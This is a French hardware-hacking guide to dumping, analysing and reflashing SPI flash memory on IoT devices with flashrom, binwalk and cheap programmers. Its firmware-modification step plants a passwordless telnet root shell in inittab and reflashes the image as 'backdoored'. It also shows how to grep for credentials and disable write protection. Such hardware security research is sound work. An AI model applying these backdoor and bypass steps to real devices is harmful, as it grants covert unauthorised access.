| name | iot-spi-flash |
| title | SPI Flash IoT — Dump, Analyse et Manipulation |
| description | Guide complet pour l'identification, l'extraction, l'analyse et la réécriture de mémoires flash SPI sur les dispositifs IoT. Couvre les protocoles SPI, les chipsets de flash courants, le dumping en circuit et hors circuit, les protections de lecture, et la modification de firmware. |
| category | cybersecurite |
SPI Flash IoT — Dump, Analyse et Manipulation
Vue d'Ensemble
Les mémoires flash SPI (Serial Peripheral Interface) sont le support de stockage principal pour la plupart des dispositifs IoT : firmware, configuration, données utilisateur. L'accès physique à la flash permet d'extraire le firmware même si toutes les protections logicielles sont actives.
Objectifs
- Identifier la flash (marquage, datasheet, pinout)
- Dumper le contenu (en circuit / hors circuit)
- Analyser la structure (partitions, filesystem, configuration)
- Modifier le firmware et reflasher
- Contourner les protections de lecture (RP, OTP, BP)
- Cloner / dupliquer des dispositifs
Outils Essentiels
Programmateurs Hardware
| Outil | Bus supporté | Prix |
|---|
| CH341A | SPI, I²C, EEPROM | ~$5 — programmateur chinois, abordable mais instable |
| FT232H | SPI, JTAG, I²C, UART | ~$25 — stable, MPSSE, openocd |
| Bus Pirate v4/v6 | SPI, I²C, 1-Wire, JTAG | ~$30 — universel, idéal test |
| TL866II / T48 | Multi (SPI, parallele, PLCC) | ~$60 — programmateur universel |
| DediProg SF100/6000 | SPI, I²C (production) | ~$500 — professionnel, support large |
| Raspberry Pi | SPI via GPIO | ~$0 (si déjà possédé) — via flashrom |
Pinces et Adaptateurs
| Accessoire | Usage |
|---|
| SOIC-8 clip (Pomona 5250) | Connection sur flash soudée (sans dessoudure) |
| SOIC-8 test socket | Pour flash dessoudée |
| SOIC-16 / SOP-16 clip | Flash plus grandes |
| WSON-8 adapter | Flash sans pin (type package) |
| Pogo pins | Pour pads de test sans connecteur |
Logiciels
| Outil | Usage |
|---|
flashrom | Standard : dump, erase, write, verify (supporte 500+ chips) |
esptool | ESP8266/ESP32 via SPI |
ch341prog | Programmation CH341A |
spi_flash / flash_interface | Scripts Python pour protocole SPI |
chipsec | Extraction SPI flash depuis l'OS (x86) |
binwalk | Analyse du dump extrait |
hexdump / xxd | Visualisation hexadécimale |
strings | Extraction de chaînes |
Méthodologie
Phase 1 : Identification du Composant
Phase 2 : Pinout et Connexion
Pinout SOIC-8 Standard
┌──────┐
CS │1 8 │ VCC
│ │
MISO│2 7 │ /HOLD (ou WP)
│ │
WP │3 6 │ CLK
│ │
GND│4 5 │ MOSI
└──────┘
Connexion avec SOIC-8 Clip (Pomona 5250)
# Couleurs standard des fils Pomona 5250
# Rouge → VCC (3.3V)
# Noir → GND
# Jaune → CS
# Vert → MISO (DO)
# Bleu → MOSI (DI)
# Blanc → CLK
# Orange → WP
# Violet → HOLD
Connexion avec CH341A
Phase 3 : Dumping avec flashrom
flashrom -p ch341a_spi
flashrom -p ch341a_spi -r firmware.bin
flashrom -p ch341a_spi -r verify1.bin
flashrom -p ch341a_spi -r verify2.bin
md5sum verify1.bin verify2.bin
flashrom -p ft232h_spi:type=2232H,port=A -r firmware.bin
flashrom -p linux_spi:dev=/dev/spidev0.0 -r firmware.bin
flashrom -p ch341a_spi -r partition.bin -l 0x100000 -i 0x0
Phase 4 : Analyse du Dump
binwalk firmware.bin
binwalk -E firmware.bin
binwalk -Me firmware.bin
strings firmware.bin | grep -iE '(admin|password|key|token|secret|http|https|api)'
xxd firmware.bin | head -100
Phase 5 : Modification et Reflash
dd if=firmware.bin of=rootfs.squashfs bs=1 skip=$OFFSET count=$SIZE
unsquashfs rootfs.squashfs
echo "ttyS0::respawn:/usr/sbin/telnetd -l /bin/sh" >> squashfs-root/etc/inittab
mksquashfs squashfs-root/ rootfs_new.squashfs -comp xz
dd if=rootfs_new.squashfs of=firmware_backdoored.bin bs=1 seek=$OFFSET conv=notrunc
flashrom -p ch341a_spi -E
flashrom -p ch341a_spi -w firmware_backdoored.bin
flashrom -p ch341a_spi -v firmware_backdoored.bin
Techniques Avancées
Bypass de Block Protect (BP0, BP1, BP2, BP3)
flashrom -p ch341a_spi --wp-disable
spi
[0x06]
[0x01 0x00]
Bypass de OTP (One-Time Programmable)
Dumping pendant le Boot (Bootloader Bypass)
flashrom -p ch341a_spi -r dump.bin &
Attaque sur Configuration / NVRAM
Dump de Flash Multi-Die (Stacked)
Pièges & ASTUCES
⚠️ Alimentation de la flash : le CH341A fournit 3.3V mais peut être instable. Si la flash est en circuit, préférer alimenter via le device (éviter les conflits avec les autres composants du bus)
⚠️ Connexion en circuit : d'autres composants peuvent être sur le même bus SPI et interférer. Si le dump est corrompu, dessouder la flash
⚠️ SOIC-8 clip : fragile, les pinces se déforment. Vérifier la connexion avec un multimètre (continuité pin → pad)
⚠️ WP / HOLD : si ces pins flottent, la flash peut refuser d'écrire. Les puller à VCC
⚠️ Tension : vérifier 1.8V vs 3.3V. Les flash 1.8V grillent avec un CH341A en 3.3V
⚠️ Bus Pirate en SPI : alimentation limitée (50mA). Si le device consomme plus, alimentation externe
⚠️ Erase avant Write : flashrom fait un erase automatique, mais si le chip est bloqué, l'erase peut échouer
⚠️ Dump corrompu : si le dump a des 0xFF partout, la connexion SPI est mauvaise (CS, MISO, MOSI) ou la flash est vide/effacée
⚠️ Flash vierge : 0xFF partout = flash effacée ou jamais programmée
Check-list Rapide
flashrom -p ch341a_spi
flashrom -p ch341a_spi -r dump1.bin
flashrom -p ch341a_spi -r dump2.bin
diff dump1.bin dump2.bin || echo "PROBLÈME DE CONNEXION"
binwalk dump1.bin
Références